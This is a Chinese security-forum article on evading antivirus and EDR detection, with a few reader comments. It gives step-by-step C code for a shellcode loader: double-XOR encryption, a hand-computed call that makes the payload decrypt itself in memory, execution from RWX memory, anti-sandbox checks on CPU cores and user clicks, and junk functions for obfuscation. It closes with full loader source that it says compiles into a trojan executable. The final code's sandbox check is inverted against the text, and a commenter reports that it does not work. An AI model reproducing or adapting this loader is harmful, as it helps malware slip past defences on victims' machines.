问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
计算地址实现内存免杀
渗透测试
免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。
0x00 前言 ======= 免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。 0x01 声明 ======= 请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。 一切未经授权的网络攻击均为违法行为,互联网非法外之地。 本篇文章不涉及商业秘密,使用的技术是公知技术,可以从公共渠道学习对应技术。本文描述的技术思路具有一定时效性,但拓展性强,变化能力强,上限高,其性质更贴切于抛砖引玉、讨论学习。 商业转载请联系作者获得授权,非商业转载请注明出处。 0x02 流程 ======= 1. 通过双重 xor 对shellcode进行加密 2. 申请内存执行指定命令 3. 通过计算地址执行解密函数指令后执行shellcode 效果: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-a4b9acf50daa5d0e9924c0088704607567b6dfd7.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-a4b9a9077a2048ae6287e587de9084e34ad6780b.png) 0x03 免杀制作思路 =========== 1、静态免杀 ------ 杀软是通过标记特征进行木马查杀的,我们可以通过加解密的方式来隐藏我们的恶意代码。加密的方式非常多,最常用的是xor双加密,除此之外你还可以使用AES、SM4等对称加密,也可以使用SM9、RSA等非对称加密。 使用双重xor的方式进行加密,其中`^6^184`,6和184就是两个key。 ```php unsigned char shellcode[] = ""; void encrypt(){ for(int j = 0;j<sizeof(shellcode);j++) { *(unsigned char*)&shellcode[j] = *(unsigned char*)&shellcode[j]^6^184; printf("\\x%02x",*(unsigned char*)&shellcode[j]); } } ``` 解密的方式就是将两个key反过来异或。 ```php void decrypt() { for(int i = 5;i<sizeof(shellcode);i++) { ((char*)p)[i] = ((char*)p)[i]^184^6; } } ``` 2、动态免杀 ------ ### 内存解密恶意代码 恶意代码检测的方式非常之多,如EDR常用的特征检测、HOOK常用API、检测父子进程关系等方式。尽管我们已经使用了加密的方式绕过了静态检测,但在内存中解密后的明文恶意代码仍然很容易被检测出来,尤其是在我们调用解密函数返回之后。针对这个问题,我们可以尝试将加密后的恶意代码和解密的指令一同写入到内存中执行,完成shellcode的自动解密,在很多时候这样可以绕过检测。 原理是在真正的shellcode执行之前通过`call`指令跳到我们想跳的地方去,比如到刚才的解密函数: ```php unsigned char shellcode[] = "\xe8\x2b\x10\x06\x00......<真正的加密后的shellcode>" ``` 在经过加密后的shellcode之前插入一条`call`指令,可以是直接`call e8`或间接`call ff15`,当然使用`jmp`或`jcc`等其他的方式也可以,目的是**跳转到我们的解密函数**,当解密函数执行完并返回之后,`e8 call`后的shellcode已经完成了解密,继续跑下去就可以正常执行恶意代码了。 那么现在问题在于如何构建我们的`e8 call`指令,我们可以参考Intel的白皮书: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-013d9e9776266b57442b1cec577ffa37912f3385.png) `e8 call`的格式是`CALL Jz`,那么这里的`f64`和`Jz`是什么意思呢,继续翻官方文档: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-1128799c04a1a9d1986d72a0c6d34f28ee4a0e1c.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-cb33c12555fd5341d7b61da81eed8d3ff1951239.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-ea4c0199abbe1ed3eb405f88f6deb7eba858818f.png) 简而言之就是对于`e8`这样的操作码,当在CPU是64位模式下的时候,操作数会被强制为64位的,由于我们现在是运行在32位的模式下,这点我们先不关注;`e8`后应该跟上一个**32位的相对偏移**,通过当前下一条指令的地址加上这个偏移,才是CPU在解析e8这条指令的时候,该跳转的函数地址。 #### 偏移计算方式 那么我们可以在调用shellcode的代码处下个断点,通过在反汇编里分别查看decrypt函数以及`e8 call`下一条指令的地址,进而算出这里我们需要的相对偏移,也就是`decrypt函数的地址-e8下一条指令的地址`: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-047ff730d63d31aa612b62eceb9318ffc28a77c8.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-90de6001f12e338513a32644d42b4e972ff1a6ed.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-a20241dcf698c13ad3ed3368a316c830f0ae8ed1.png) 最后将算出的四字节偏移填充到`e8`后面就好了,比如我这里按照Windows的小端存储方式,最后的结果就应该是`e8 2b 10 06 00`: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-a100f493aeb16d5cb1ed601d9029ccc2c0026216.png) 至此,我们完成了自己调用解密函数,对自己进行解密的完整代码编写。 ### 恶意代码加载方式 #### 创建线程加载 动态涉及到了shellcode的加载方式。这里我选择使用创建线程的方式加载。 1、创建 ThreadProc 函数 ```php DWORD WINAPI ThreadProc(LPVOID lpParameter) { //申请内存 if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { return 1; } //复制shellcode if (!(memcpy(p, shellcode, sizeof(shellcode)))) { return 1; } //函数指针赋值 CODE code = (CODE)p; //调用 code(); return 0; } ``` 2、 通过 `CreateThread`函数创建线程并执行线程函数`ThreadProc`。 ```c void main(int argc, char* argv[]) { //创建一个新的线程 HANDLE hThread = ::CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //如果不在其他的地方,关闭句柄 ::CloseHandle(hThread); } ``` #### 主线程加载 加载shellcode的方式是一样的,但是这里没有启动新线程,容易造成主线程卡死。 ```php unsigned char shellcode[] = ""; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); ``` #### 内联加载 通过 asm 方法内联写入汇编指令。 通常我们可以使用\_\_asm来书写。 ```c __asm { nop ret } ``` 这种方式的好处是不需要调用`VirtualAlloc`API,但缺点是很容易识别成特征。 ```c #include <Windows.h> #include <stdio.h> int main() { printf("spotless"); asm(".byte 0x90,0x90,0x90,0x90\n\t" "ret\n\t"); return 0; } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-e7d1769f2cfccd866cae0e2eb279da2cc0a2a81a.png) > 参考:[CreateRemoteThread Shellcode Injection - Red Team Notes](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection) 3、反沙箱 ----- 根据程序运行环境判断是否存在沙箱环境: `开机时间、内存大小、磁盘大小、CPU核心数量、CPU温度...` > 代码可以参考:[CheckVM-Sandbox](https://github.com/nek0YanSu/CheckVM-Sandbox/)、[anti-sandbox](https://github.com/ZanderChang/anti-sandbox/) 这些都是自动检测,我们也可以使用主动的方式绕过沙箱,例如`延迟执行、弹窗确认` ### 弹窗确认 要求用户必须进行操作才能进行下一步执行。弹窗就是一个很好的例子,点开后不关闭或者点击确认操作就不会继续执行程序。沙箱没有自动模拟点击的情况下,程序就不会执行,恶意代码就不会释放。 ```php #include <windows.h> void main(int argc, char* argv[]) { MessageBox(NULL, "文件损坏", "错误", MB_RETRYCANCEL | MB_ICONWARNING); ... } ``` 在main函数里使用`MessageBox` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/12/attach-2971ace3714965b508d65c314098f10ccde6d145.png) ### CPU 内核数量检测 规则:处理器数量少于4个时,我们断言它是沙箱环境。 #### API获取 想要获取有关系统硬件和资源的信息,我们可以使用`kernel32.dll`中的`GetSystemInfo`函数。 它会返回指向 `SYSTEM_INFO` 结构体的指针,它的结构体定义如下: ```php typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision; } SYSTEM_INFO, *LPSYSTEM_INFO; ``` - `wProcessorArchitecture`: **处理器架构**(x86、x64 等)。 - `dwNumberOfProcessors`: 系统中的**处理器数量**。 ```php void CheckCPU() { SYSTEM_INFO systemInfo; GetSystemInfo(&systemInfo); if (systemInfo.dwNumberOfProcessors <= 4) { ExitProcess(61); } } ``` #### 偏移获取 相对于API获取,这种方式不容易检测。 > 注意使用`__asm`嵌入汇编语言只能在`x86`位下编译。 主要原理是获取 PEB 结构体中的`NumberOfProcessors`字段值来进行判断。它在结构体中偏移量为`0x64`。 部分PEB偏移对应变量: ```php ... /*058*/ ULONG AnsiCodePageData; /*05C*/ ULONG OemCodePageData; /*060*/ ULONG UnicodeCaseTableData; /*064*/ ULONG NumberOfProcessors; /*068*/ LARGE_INTEGER NtGlobalFlag; // Address of a local copy /*070*/ LARGE_INTEGER CriticalSectionTimeout; /*078*/ ULONG HeapSegmentReserve; ... ``` 检测代码实现: ```php BOOL checkCPUCores() { INT i = 0; _asm { mov eax, dword ptr fs:[0x18]; // 获取 FS 寄存器中的 TEB (Thread Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x30]; // 获取 PEB (Process Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x64]; // 获取 PEB 结构体中的 NumberOfProcessors 字段值 mov i, eax; // 将 NumberOfProcessors 值赋给变量 i } return i <= 4; // 返回是否处理器核心数量小于或等于 4 } ``` > PEB结构体可以看:[PEB结构](https://blog.csdn.net/waveradio/article/details/2681346) 4、混淆反编译 ------- ### 垃圾函数 顾名思义,我们可以在shellcode加载器里添加各种垃圾函数。这些垃圾函数最好对**堆栈有较大的影响**,在我们学习C语言时最常见的就是排序,下面列举了快速排序和冒泡排序。 ```php void quickSort(int arr[], int left, int right) { int i = left, j = right; int tmp; int pivot = arr[(left + right) / 2]; while (i <= j) { while (arr[i] < pivot) i++; while (arr[j] > pivot) j--; if (i <= j) { tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; i++; j--; } } if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right); } void bubbleSort(int arr[], int n) { for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - i - 1; j++) { if (arr[j] > arr[j + 1]) { int k = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = k; } } } } ``` 然后我们在代码中以代码块的方式贴入垃圾代码。 ```php void main() { { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]); bubbleSort(huaarr, huan); } // // 这里输入自己的代码 // { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]); bubbleSort(huaarr, huan); } } ``` 0x04 代码 ======= 使用该代码的流程: 1. 使用加密函数加密shellcode 2. 将shellcode填充到`"\xe8\x2b\x10\x06\x00"`字符常量的后面 3. 编译生成木马exe ```php #include <windows.h> #include <stdio.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台 typedef void (*CODE)(); /* length: 844 bytes */ //0xe8, 0x2b, 0x10, 0x06, 0x00,... unsigned char shellcode[] = "\xe8\x2b\x10\x06\x00"; PVOID p = NULL; void decrypt() { //解密Shellcode for(int i = 5;i<sizeof(shellcode);i++) { ((char*)p)[i] = ((char*)p)[i]^184^6; } } // 检查CPU核心数 // SYSTEM_INFO.dwNumberOfProcessors INT checkCPUCores(INT cores) { INT i = 0; _asm { // x64编译模式下不支持__asm的汇编嵌入 mov eax, dword ptr fs : [0x18]; // TEB mov eax, dword ptr ds : [eax + 0x30]; // PEB mov eax, dword ptr ds : [eax + 0x64]; mov i, eax; } return i; } DWORD WINAPI ThreadProc( LPVOID lpParameter // thread data ) { //申请内存 if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { //MessageBoxW(NULL, L"VirtualAlloc Failed!!!", L"Prompt", MB_OK); return 1; } //复制shellcode if (!(memcpy(p, shellcode, sizeof(shellcode)))) { //MessageBoxW(NULL, L"WriteMemory Failed!!!", L"Prompt", MB_OK); return 1; } //函数指针赋值 CODE code = (CODE)p; //调用 code(); return 0; } int main(int argc, char* argv[]) { //检查CPU核心数,判断是否是沙箱 INT cores = checkCPUCores(4); if (cores <= 4) { //((void(*)(void))&shellcode)(); //函数指针执行ShellCode //创建一个新的线程 HANDLE hThread = ::CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //如果不在其他的地方,关闭句柄 ::CloseHandle(hThread); } while(1) { OutputDebugString("Hello World!\n");//打印调试信息 } return 0; } ``` 0x05 总结 ======= 本篇介绍的方法,类似于写入汇编指令,只不过 call 调用的地址需要我们自己去计算,如果代码存在变动(汇编指令增加)的情况,如增加全局变量,那么需要重新计算解密函数的地址。虽然麻烦,但很灵活,学习成本较低,效果明显。
发表于 2024-01-09 09:00:01
阅读 ( 8138 )
分类:
渗透测试
1 推荐
收藏
3 条评论
三亿人
2024-01-09 15:56
佬,我按照你的代码编译后,不上线啊,啥反应都没
请先
登录
后评论
三亿人
2024-01-09 15:57
是c的马吗?
请先
登录
后评论
三亿人
2024-01-09 16:29
_asm { mov eax, dword ptr fs:[0x18]; // 获取 FS 寄存器中的 TEB (Thread Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x30]; // 获取 PEB (Process Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x64];每个人编译的话,这里需要自己调试改变吗?
请先
登录
后评论
请先
登录
后评论
en0th
数码爱好者
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!